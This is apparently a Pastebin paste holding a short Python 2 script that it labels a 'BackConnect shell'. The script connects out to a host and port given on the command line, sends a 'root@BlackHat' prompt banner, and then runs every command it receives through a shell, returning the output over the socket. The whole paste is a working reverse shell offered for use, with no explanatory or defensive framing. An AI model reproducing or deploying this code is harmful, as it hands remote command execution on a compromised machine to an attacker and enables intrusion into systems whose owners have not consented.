Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- try:
- print "usage: [script] host port"
- import socket,subprocess,sys
- HOST = sys.argv[1]
- PORT = int(sys.argv[2])
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((HOST, PORT))
- s.send('-----------------------------\n')
- s.send('[*] Connection Established!')
- s.send('\n-----------------------------\n')
- s.send('$ root@BlackHat: ')
- print "BackConnect shell is ready for to transmit data"
- while 1:
- buffersize = 1024
- data = s.recv(buffersize)
- proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout_value = proc.stdout.read() + proc.stderr.read()
- s.send(stdout_value)
- s.close()
- except KeyboardInterrupt:
- print 'Connection broken'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement